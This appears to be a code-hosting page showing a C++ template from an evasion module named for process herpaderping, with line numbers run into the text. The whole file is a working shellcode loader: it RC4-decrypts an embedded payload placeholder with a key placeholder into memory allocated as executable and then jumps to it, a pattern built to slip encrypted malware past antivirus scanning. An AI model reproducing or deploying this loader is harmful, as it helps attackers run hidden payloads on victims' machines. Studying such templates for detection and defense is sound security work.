Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate/ProcessHerpaderpingTemplate.cpp
Views: 11789
#define WIN32_LEAN_AND_MEAN1#include <Windows.h>2#include <memory.h>34#define N 256 // 2^856void swap(unsigned char* a, unsigned char* b) {7int tmp = *a;8*a = *b;9*b = tmp;10}1112int KSA(char* key, unsigned char* S) {13size_t len = strlen(key);14int j = 0;1516for (int i = 0; i < N; i++) {17S[i] = i;18}1920for (int i = 0; i < N; i++) {21j = (j + S[i] + key[i % len]) % N;22swap(&S[i], &S[j]);23}2425return 0;26}2728int PRGA(unsigned char* S, char* plaintext, unsigned char* ciphertext, int plainTextSize) {29int i = 0;30int j = 0;3132for (size_t n = 0, len = plainTextSize; n < len; n++) {33i = (i + 1) % N;34j = (j + S[i]) % N;35swap(&S[i], &S[j]);36int rnd = S[(S[i] + S[j]) % N];37ciphertext[n] = rnd ^ plaintext[n];38}3940return 0;41}4243int RC4(char* key, char* plaintext, unsigned char* ciphertext, int plainTextSize) {44unsigned char S[N];45KSA(key, S);46PRGA(S, plaintext, ciphertext, plainTextSize);47return 0;48}4950#pragma function(memset)51void* __cdecl memset(_Out_writes_bytes_all_(count) void* dest, _In_ int c, _In_ size_t count) {52unsigned char* p = (unsigned char*)dest;53unsigned char x = c & 0xff;5455while (count--)56*p++ = x;57return dest;58}5960// The future embedded payload will have the following format:61// TOTAL_SIZE (uint) + PAYLOAD + JUNK62// These constants must match the constants defined in the module63#define MAX_PAYLOAD_SIZE 819264#define MAX_JUNK_SIZE 102465#define MAX_KEY_SIZE 646667static unsigned char payload[sizeof(unsigned int) + MAX_PAYLOAD_SIZE + MAX_JUNK_SIZE] = "PAYLOAD";68static unsigned char key[MAX_KEY_SIZE + 1] = "ENCKEY"; // reserve one byte for the terminating NULL character6970int WINAPI WinMainCRTStartup(void)71{72unsigned int* lpBufSize = (unsigned int*)payload;73char* payloadValue = (char*)(payload + sizeof(unsigned int));74LPVOID lpBuf = VirtualAlloc(NULL, *lpBufSize, MEM_COMMIT, 0x00000040);75memset(lpBuf, '\0', *lpBufSize);7677RC4((char *)key, payloadValue, (unsigned char*)lpBuf, *lpBufSize);78void (*func)();79func = (void (*)()) lpBuf;80(void)(*func)();8182return 0;83}848586